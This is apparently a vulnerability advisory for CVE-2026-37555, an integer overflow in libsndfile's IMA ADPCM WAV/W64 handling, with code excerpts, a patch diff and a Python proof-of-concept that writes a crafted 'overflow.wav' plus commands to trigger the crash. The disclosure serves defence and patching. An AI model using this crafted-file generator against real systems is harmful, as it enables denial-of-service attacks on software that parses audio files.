CVE: CVE-2026-37555
Affected: libsndfile ≤ 1.2.2 (latest release)
CWE: CWE-190 (Integer Overflow or Wraparound)
CVSS 3.1: 5.5 (AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H) — Local, user interaction required (open a crafted file)
Reporter: Feng Ning, Innora Security Research (feng@innora.ai)
Two 32-bit multiplication overflows in src/ima_adpcm.c let a crafted WAV or W64 file corrupt psf->sf.frames with a negative or zero value. The AIFF code path got an explicit sf_count_t cast during CVE-2022-33065, but the WAV reader and write-close paths were left alone.
samplesperblock, blockcount, and blocks are all int (32-bit signed):
// src/ima_adpcm.c, line 34
int channels, blocksize, samplesperblock, blocks ;
int blockcount, samplecount ;Line 235 — WAV/W64 reader init:
psf->sf.frames = pima->samplesperblock * pima->blocks ;
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// int × int, no sf_count_t cast
// overflows when product > 2^31-1Line 167 — write-close path (ima_close):
psf->sf.frames = pima->samplesperblock * pima->blockcount / psf->sf.channels ;
// same int × int overflow before divisionLine 241 — AIFF path (patched in CVE-2022-33065):
psf->sf.frames = (sf_count_t) pima->samplesperblock * pima->blocks / pima->channels ;
// ^^^^^^^^^^^^^ ← explicit cast prevents overflowThe WAV path never received the same treatment.
A crafted WAV/W64 file with large samplesperblock × blocks — e.g. 50000 × 50000 = 2,500,000,000, which wraps to −1,794,967,296 in int32 — leaves psf->sf.frames holding garbage. Callers using sf.frames to size buffer allocations or drive iteration loops may then read or write out of bounds depending on caller behaviour. In practice this causes abnormal termination (DoS).
import struct
def make_wav_ima(samplesperblock, blocks):
# IMA ADPCM WAV with crafted header values
channels = 1
blockalign = (samplesperblock - 1) // 2 + 4
# fmt chunk
fmt = struct.pack('<HHIIHHHH',
0x0011, # wFormatTag = IMA ADPCM
channels,
8000, # nSamplesPerSec
8000 * blockalign,
blockalign,
4, # wBitsPerSample
2, # cbSize
samplesperblock
)
data_size = blockalign * blocks
wav = (b'RIFF' + struct.pack('<I', 36 + len(fmt) + 8 + data_size) +
b'WAVEfmt ' + struct.pack('<I', len(fmt)) + fmt +
b'data' + struct.pack('<I', data_size) + b'\x00' * data_size)
return wav
with open('overflow.wav', 'wb') as f:
f.write(make_wav_ima(50000, 50000))$ sndfile-info overflow.wav
# or
$ python3 -c "import soundfile; soundfile.info('overflow.wav')"
# triggers integer overflow in ima_reader_init / ima_close
Both affected lines need the same sf_count_t cast already present in the AIFF path:
// Line 235 — WAV/W64 path
- psf->sf.frames = pima->samplesperblock * pima->blocks ;
+ psf->sf.frames = (sf_count_t) pima->samplesperblock * pima->blocks ;
// Line 167 — ima_close write path
- psf->sf.frames = pima->samplesperblock * pima->blockcount / psf->sf.channels ;
+ psf->sf.frames = (sf_count_t) pima->samplesperblock * pima->blockcount / psf->sf.channels ;- CVE-2022-33065 (incomplete prior fix for AIFF path): https://nvd.nist.gov/vuln/detail/CVE-2022-33065
- libsndfile source: https://github.com/libsndfile/libsndfile/blob/master/src/ima_adpcm.c
- Reported: 2026-04-02
- CVE assigned: CVE-2026-37555
Innora Security Research — https://innora.ai